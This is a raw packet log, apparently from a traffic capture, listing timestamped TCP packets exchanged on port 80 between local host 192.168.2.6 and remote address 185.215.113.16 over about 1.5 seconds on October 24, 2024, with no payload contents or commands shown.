Oct 24, 2024 04:57:24.038129091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038156033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038240910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.038240910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.038454056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038476944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038487911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038503885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038691044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.038691044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.038883924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038907051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038924932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.038947105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.080210924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.123328924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.123341084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.123364925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.123379946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.124039888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.124053001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.124064922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.124073982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.124102116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.157032967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.157046080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.157075882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.157083988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.157118082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.157155037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.158535004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158545971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158565044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158574104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158579111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.158591032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158600092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158615112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158620119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.158632040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158639908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.158643961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.158688068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.243127108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243165970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243191957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243212938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.243371964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243393898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243417025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.243419886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243443012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.243460894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.276904106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.276937962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.276952028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.276973963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.276998997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277014971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.277430058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277468920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277479887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.277504921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277527094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277545929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.277551889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277575016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277589083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.277657032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277695894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.277729034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277748108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.277786970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.362394094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.362432003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.362461090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.362490892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.363008022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.363065004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.363065958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.363085032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.363110065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.363133907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.396081924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.396109104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.396127939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.396156073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.396193981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.396723986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.396756887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.396785975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.396800041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.397058010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.397078037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.397102118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.397102118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.397145987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.397299051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.397320032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.397339106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.397358894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.439589977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.481472969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.481511116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.481539011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.481559038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.483163118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.483197927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.483216047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.483226061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.483272076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.515227079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515264988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515290022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515316963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.515703917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515737057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515755892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.515767097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515789032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515810013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515830994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515840054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.515851021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.515860081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.515901089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.516187906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.516236067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.516278982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.601249933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.601274967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.601309061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.601336002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.602468014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.602502108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.602519989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.602528095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.602550983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.602583885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.634486914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.634541035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.634543896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.634569883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.634613037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.635494947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635529995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635554075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635570049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.635576010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635601044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635615110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.635760069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635773897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635804892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.635916948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635937929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.635963917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.678097963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.678123951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.678145885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.720451117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.720490932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.720514059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.720514059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.720557928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.721534014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.721568108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.721604109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.721606016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.721618891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.721664906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.753945112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.753984928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.754021883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.754024029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.798960924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.907237053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907274008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907296896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907327890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907356024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907377005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907391071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.907421112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.907510042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907545090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907566071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907587051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.907599926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907619953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907639980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.907645941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.907680035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.908509970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.908530951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.908557892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.908576012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.908587933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.908610106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.908632040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.908649921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.908674955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.909353018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.909404039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.909425020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.909444094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.909446001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.909470081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.909482956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.955238104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.959800959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.959831953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.959881067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.961078882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.961153984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.961177111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.961199999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.961234093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.961883068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.998086929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.998106956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.998166084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.998214960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.998239994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.998260975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.998280048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:24.998285055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:24.998342991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.026320934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.026349068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.026747942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.080760002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.080796003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.080820084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.080878019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.112762928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.112798929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.112818003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.112827063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.112875938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.116725922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.116801023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.116823912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.116843939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.116878986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.116900921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.116921902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.116925001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.116962910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.198242903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.198280096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.198304892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.198324919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.199702978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.199753046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.199779034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.199815035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.199837923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.199877977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.231893063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.231941938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.231944084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.231966019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.231988907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.232028961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.236041069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236067057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236098051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.236114979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236135006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236160994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.236279964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236303091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236320019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.236332893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.236442089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.317699909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.317722082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.317747116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.317795038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.319040060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.319073915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.319087982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.319092035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.319240093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.351212025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.351231098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.351254940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.351280928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.351286888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.351330996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.355254889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355309963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355334997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355366945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.355398893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355422020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355441093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355458975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.355484009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.355689049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355703115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355750084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.355783939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355797052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.355846882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.437129974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.437148094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.437177896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.437200069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.437223911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.437344074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.438599110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.438668966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.438694954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.438709974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.470566034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.470587969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.470619917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.470659018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.470684052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.474690914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.474711895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.474737883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.474761963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.474778891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.474801064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.474821091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.474828959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.474886894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.474944115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.475016117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.475106955 CEST	80	49774	185.215.113.16	192.168.2.6
